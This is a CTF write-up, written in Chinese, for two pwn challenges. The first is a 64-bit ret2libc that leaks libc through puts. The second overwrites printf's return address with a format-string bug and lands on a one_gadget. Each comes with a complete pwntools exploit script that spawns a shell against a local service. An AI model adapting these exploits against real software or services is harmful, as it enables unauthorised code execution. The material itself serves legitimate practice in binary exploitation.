rdi
泄露libc版本,程序中没有pop rdi;ret,想办法给rdi赋值
利用
1 2
| cyclic 200 #生成规律字串长度为200 cyclic -l 'rdi出现的字串' #计算rdi左边字串的长度
|
得到输入56
即输入56个填充数据,再往下就填充到rdi
该指令可计算offset,不过rdi改成rbp(看ida更方便,用指令更准确)
给rdi填充后再覆盖rbp就进行ret2libc
注意!64位system前要ret一下,否则system会在利用xmm寄存器这步发生错误
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import* from LibcSearcher import* context(log_level='debug',arch='amd64',os='linux')
r=remote('127.0.0.1',41311)
e=ELF('./rdi') libc=ELF('./libc.so.6') puts_got=e.got['puts'] puts_plt=e.plt['puts'] main=e.symbols['main']
ret=0x40101a print(hex(puts_got)) print(hex(puts_plt)) print(hex(main)) offset=56 payload=offset*b'a'+p64(puts_got)+b'aaaaaaaa'+p64(puts_plt)+p64(main)
r.recvuntil('rdi?\n') gdb.attach(r) r.sendline(payload)
pause() puts_addr=u64(r.recv(6).ljust(8,b'\x00')) print(hex(puts_addr))
offset1=puts_addr-libc.symbols['puts'] binsh=offset1+next(libc.search(b'/bin/sh')) system=offset1+libc.symbols['system'] exit=offset1+libc.symbols['exit'] print(hex(binsh)) print(hex(system)) payload2=(56)*b'a'+p64(binsh)+b'aaaaaaaa'+p64(ret)+p64(system)+p64(exit) r.sendline(payload2)
r.interactive()
|
ffffff(ez_fmt)
格式化字符串漏洞,修改printf的返回地址到想要的地方
程序中给了栈地址,接收后可用于计算偏移量来修改printf的返回地址
把printf的栈指针写道栈中这样就会出现
1 2 3 4
| 0x0001 -> return_addr 0x0002 -> rsp 0x0003 -> 0x0001->return_addr 0x0004 -> xxx
|
这样利用%n对0x0003进行操作即可修改0x0001的内容,%n只对指针所指向的值进行修改
%hn一次就修改后四位数,%hhn一次就修改后两位
第一次用%s读出got,泄露libc
由于限制0x30给字节,所以要利用onegadget,否则空间不够用
onegadget会出现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| ''' 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ) constraints: rsp & 0xf == 0 rcx == NULL rbp == NULL || (u16)[rbp] == NULL
0xebc81 execve("/bin/sh", r10, [rbp-0x70]) constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xebc85 execve("/bin/sh", r10, rdx) constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL
0xebc88 execve("/bin/sh", rsi, rdx) constraints: address rbp-0x78 is writable [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
'''
|
利用onegadget可直接获得shell记得满足条件
第一个地址加上泄露libc所得到的偏移量即可让程序调用
constraints表示要满足的条件 ‘’||‘’和c中的或运算一样
最后让程序返回地址返回到execve即可
利用csu中的pop可以弹出垃圾数据,控制好弹出的数量,让其最终返回到execve
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import* from LibcSearcher import* context(log_level='debug',arch='amd64',os='linux')
r=remote('127.0.0.1',43579) e=ELF('./ez_fmt') libc=ELF('./libc6_2.31-0ubuntu9.14_amd64.so') ret=0x40101a read=0x40121b rdi=0x4012d3 csu1=0x4012c6 csu2=0x4012b0 fini_array=0x403dc0 got=e.got['read'] print(hex(got)) r.recvuntil('gift for you ') base=r.recv(14) base_addr=int(base,16) print(hex(base_addr)) print(hex(base_addr-8))
num='5'
payload=b'%'+str(num).encode()+b'c%8$hhn%10$s' payload=payload.ljust(16,b'\x00') payload+=p64(base_addr-0x8) payload+=p64(1)+p64(got)
gdb.attach(r) r.send(payload)
r.recv(6) r.recv(5) addr=u64(r.recv(6).ljust(8,b'\x00')) print(1) print(hex(addr))
offset=addr-libc.symbols['read']
binsh=offset+next(libc.search(b'/bin/sh')) system=offset+libc.symbols['system'] print(hex(binsh)) print(hex(system))
pause()
one_gadget=offset+0xe3b01 print(hex(one_gadget))
num='204'
payload=b'%'+str(num).encode()+b'c%8$hhn' payload=payload.ljust(16,b'a') payload+=p64(base_addr-0x8)+p64(0) payload+=p64(one_gadget) payload+=p64(csu2)
r.send(payload) r.interactive()
|